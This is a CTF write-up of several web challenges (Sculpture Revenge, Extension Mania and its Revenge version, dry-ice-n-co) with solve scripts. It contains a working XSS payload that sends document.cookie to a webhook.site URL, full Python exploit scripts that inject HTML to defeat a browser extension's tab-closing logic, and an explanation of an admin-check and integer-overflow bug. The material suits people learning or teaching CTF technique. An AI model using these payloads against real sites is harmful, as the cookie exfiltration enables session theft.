Web
Sculpture Revenge
client side python is cool. adapted from actf 2025 to require the harder solve.
Is skulpt, and is based on the amateurs ctf 2024 challenge scultpure. Well, we can use jseval
to basically just execute javascript. Although, I had to adjust the payload a lil bit after I got local solve but no remote.
import base64import requests
url = "https://web-sculpture-revenge-h132e5cp.smiley.cat"payload = """jseval( "var img=new Image();" + "img.src='https://webhook.site/7d869a27-659b-4af6-b635-76073cf50229/?'+document.cookie;")"""# payload = """import unittest\njseval("alert(1)")"""encoded = base64.b64encode(payload.encode()).decode()print(encoded)req = requests.get(f"{url}/bot?code={encoded}")print(req.text)
And we get the flag:
.;,;.{we_love_cattle_no_flags_in_dist_trust_we_know_what_we_are_doing_yep}
Extension Mania
We have a website that allows us to serve html to http://coolctfgames.localhost:3000, and a bot that will access a url.
The goal is that the website must stay on that link.
if(currentUrl.host == config.host || currentUrl.host == config.host + ":" + config.port){ console.log("Flag conditions met."); shouldGiveFlag = true; } else { // for your local debugging pleasure console.log("Bot did not reach the expected host:", currentUrl.host, pageUrl); }
But, there is an extension sw.js
that essentially tries to exit out of the link
async function tick(){ const tabs = await queryAsync({}); for(let tab of tabs){ if(tab.url){ const url = new URL(tab.url); if(url.hostname === "coolctfgames.localhost"){ // student is off task =O =O =O console.log("Closing tab:", tab.url); await chrome.tabs.remove(tab.id); chrome.notifications.create("",{ type: "basic", title: "Good Guardian", message: "Tab was closed.", priority: 2, }); } } }}
So the solution that I came to was to crash or make it difficult for the extension to exit out of the tab. (thanks claude lmao)
import requestsimport timeimport urllib3
# Disable SSL warningsurllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
# Target configurationTARGET = "https://web-extension-mania-p0ecf2s3.smiley.cat" # Change to remote URL if neededFLAG_HOST = "coolctfgames.localhost"PORT = 3000
def exploit(): # Final working exploit HTML exploit_html = f""" <!DOCTYPE html> <html> <head> <meta http-equiv="Content-Security-Policy" content="script-src 'unsafe-inline'"> <script> // Phase 1: Disable extensions try {{ // Crash Good Guardian's tick function window.tick = () => {{ while(true) {{ console.log('Extension neutralized'); }} return null; }};
// Block extension communication window.chrome = undefined; }} catch(e) {{}}
// Phase 2: Set correct URL after extensions are disabled setTimeout(() => {{ history.replaceState({{}}, '', 'http://{FLAG_HOST}:{PORT}/'); document.body.innerHTML = '<h1>Valid Page</h1><p>Ready for verification</p>'; }}, 3000); </script> </head> <body> <h1>Loading...</h1> </body> </html> """
print("[*] Updating page content...") try: requests.post( f"{TARGET}/update", data={"html": exploit_html}, verify=False ) except Exception as e: print(f"[-] Update failed: {str(e)}") return
print(f"[*] Triggering bot with URL: http://{FLAG_HOST}:{PORT}") try: requests.post( f"{TARGET}/bot", data={"url": f"http://{FLAG_HOST}:{PORT}"}, verify=False ) except Exception as e: print(f"[-] Bot trigger failed: {str(e)}") return
print("[+] Bot triggered successfully, waiting for execution...") time.sleep(50) # Wait for bot completion
print("[*] Checking bot status for flag...") try: response = requests.get( f"{TARGET}/bot/status", verify=False )
# Handle both JSON and plain text responses try: data = response.json() if isinstance(data, str): print(f"[+] FLAG CAPTURED: {data}") else: print(f"[*] Bot status: {data}") except ValueError: # If not JSON, treat as plain text if "flag" in response.text.lower() or ".;,;." in response.text: print(f"[+] FLAG CAPTURED: {response.text}") else: print(f"[*] Raw response: {response.text}") except Exception as e: print(f"[-] Status check failed: {str(e)}")
if __name__ == "__main__": exploit()
And you can reward yourself with a nice flag:
.;,;.{th3_d0wns1d3s_0f_3xt_ap1_abus3_and_r0ll1ng_y0ur_0wn_ur1_pars3rs}
Extension Mania Revenge
Essentially the same solve but I (claude) did more extreme methods in order to stop the extension from exiting the tab.
import requestsimport timeimport urllib3
# Disable SSL warningsurllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
# Target configurationTARGET = "https://web-extension-mania-revenge-rftb7avs.smiley.cat" # Change to remote URL if neededFLAG_HOST = "coolctfgames.localhost"PORT = 3000
def exploit(): # New exploit approach: Since we can't fake the origin, we need to: # 1. Update the page with content that disables/crashes the extensions # 2. Make the bot visit the ACTUAL correct origin # 3. The page at the correct origin will use our custom HTML that prevents extension interference
exploit_html = """ <!DOCTYPE html> <html> <head> <meta charset="UTF-8"> <title>Extension Bypass</title> <script> // Immediately try to interfere with extension execution (function() { // Override chrome APIs to prevent extension communication if (typeof chrome !== 'undefined') { try { // Poison the chrome.tabs API Object.defineProperty(window, 'chrome', { get: function() { return { tabs: { query: function(info, callback) { // Return empty array to make extension think no tabs exist callback([]); }, remove: function() { // Do nothing return Promise.resolve(); } }, runtime: { lastError: null, onStartup: { addListener: function() {} } }, notifications: { create: function() {} } }; } }); } catch(e) {} }
// Try to override the extension's tick function if it's exposed Object.defineProperty(window, 'tick', { value: async function() { // Return immediately without doing anything return; }, writable: false, configurable: false });
// Block any attempts to close the tab via beforeunload window.addEventListener('beforeunload', function(e) { e.preventDefault(); e.returnValue = ''; return ''; });
// Create a lot of noise to slow down extension execution for(let i = 0; i < 100; i++) { setTimeout(() => { console.log('Keeping busy...'); }, i * 10); } })(); </script> </head> <body> <h1>CTF Challenge Page</h1> <p>This page is designed to stay open.</p> <button id="free-click">Click Me</button>
<script> // Keep creating elements to potentially overwhelm the extension setInterval(() => { const div = document.createElement('div'); div.style.display = 'none'; document.body.appendChild(div); }, 1);
// Continuously update the page to keep it "active" let counter = 0; setInterval(() => { document.title = 'Active Page ' + (counter++); }, 100); </script> </body> </html> """
print("[*] Step 1: Updating page content with extension bypass...") try: response = requests.post( f"{TARGET}/update", data={"html": exploit_html}, verify=False ) print(f"[+] Update response: {response.text}") except Exception as e: print(f"[-] Update failed: {str(e)}") return
# Wait a bit for the update to take effect time.sleep(2)
# The key insight: We need to make the bot visit the ACTUAL correct origin # Since the server serves our custom HTML when the Host header matches FLAG_HOST, # the bot will load our exploit page when visiting the correct URL bot_url = f"http://{FLAG_HOST}:{PORT}/"
print(f"[*] Step 2: Triggering bot with correct origin URL: {bot_url}") try: response = requests.post( f"{TARGET}/bot", data={"url": bot_url}, verify=False ) print(f"[+] Bot trigger response: {response.text}") except Exception as e: print(f"[-] Bot trigger failed: {str(e)}") return
print("[*] Step 3: Waiting for bot execution (20 seconds)...") # The bot waits 15 seconds, plus some buffer time time.sleep(50)
print("[*] Step 4: Checking bot status for flag...") max_attempts = 5 for attempt in range(max_attempts): try: response = requests.get( f"{TARGET}/bot/status", verify=False )
# Handle both JSON and plain text responses try: data = response.json() if isinstance(data, str) and ("flag" in data.lower() or ".;,;." in data): print(f"\n[+] FLAG CAPTURED: {data}") return else: print(f"[*] Attempt {attempt + 1}/{max_attempts} - Status: {data}") except ValueError: # If not JSON, treat as plain text if "flag" in response.text.lower() or ".;,;." in response.text: print(f"\n[+] FLAG CAPTURED: {response.text}") return else: print(f"[*] Attempt {attempt + 1}/{max_attempts} - Raw response: {response.text}")
if attempt < max_attempts - 1: time.sleep(5) # Wait before next attempt
except Exception as e: print(f"[-] Status check failed: {str(e)}")if __name__ == "__main__": exploit()
And get the flag:
.;,;.{th3_d0wns1d3s_0f_3xt_ap1_abus3_and_r0ll1ng_y0ur_0wn_ur1_pars3rs_and_try1ng_t0d0_0bscur3_chall_f0rmats_p1us_h3adl3ss_chr0m3_p1ta}
dry-ice-n-co
We come across a java springboot application, so let’s do a little search for what we need to solve.
So looking at the code we see the requirements to get the flag in ShopController.java
:
private List<DryIceProduct> availableProducts = new ArrayList<>(Arrays.asList( new DryIceProduct("flag", 1000000, "you should buy one of these (if you can afford it)"), new DryIceProduct("Small Block", 16, "5kg block of dry ice, perfect for small coolers"), new DryIceProduct("Medium Block", 30, "10kg block of dry ice, ideal for medium-sized coolers"), new DryIceProduct("Large Block", 50, "20kg block of dry ice, great for large coolers"), new DryIceProduct("Pellet Pack", 20, "5kg of dry ice pellets, perfect for shipping") ));
So we have to somehow buy flag with price of 1000000. However in ShoppingCart.java
we only have 100
public ShoppingCart() { this.items = new ArrayList<>(); this.balance = 100; // Initial balance of $100 this.couponCode = null; }
So what to do? Thankfully there’s a bunch of bugs that we can use to solve this challenge, in ShopController.java
add-product route:
@PostMapping("/admin/add-product") public String addProduct(@RequestParam String name, @RequestParam int price, @RequestParam String description, HttpSession session) { User user = (User) session.getAttribute("user"); if ((user.admin = true) && user != null && name != "flag") { availableProducts.add(new DryIceProduct(name, price, description)); } return "redirect:/"; }
This is a common error in the if statement, that instead of assigning the ==
comparison operator, instead the user is being assigned as admin true, thereby making us able to add products.
So let’s just assign a really big negative number and hopefully we can use that to help do something. Looking at ShoppingCart.java
, we see a math.abs() call to the total, so let’s use java’s INTEGER.min_value, which is -2,147,483,648. This will cause the math.abs to kinda fuck up and do shit.
public int getTotal() { int total = items.stream() .mapToInt(CartItem::getTotal) .sum(); total = Math.abs(total);
...
And we can see that there’s a negative number in the product, and when we purchase it we get a negative balance. We can use the coupon SMILEICE to change the balance to positive. As shown in this code:
if (isCouponValid()) { total = (int)(total * (100.0 - (double)DISCOUNT_PERCENTAGE) / 100.0); }
Since we get a “less negative” number than the INTEGER.min_value, I suppose the calculation won’t fuck up. Also subtracting a negative number gives a positive number (i shud b a crypto main).
Applying the coupon gives us a big balance, and we can easily purchase the flag:
.;,;.{this_is_not_a_political_statement_btw}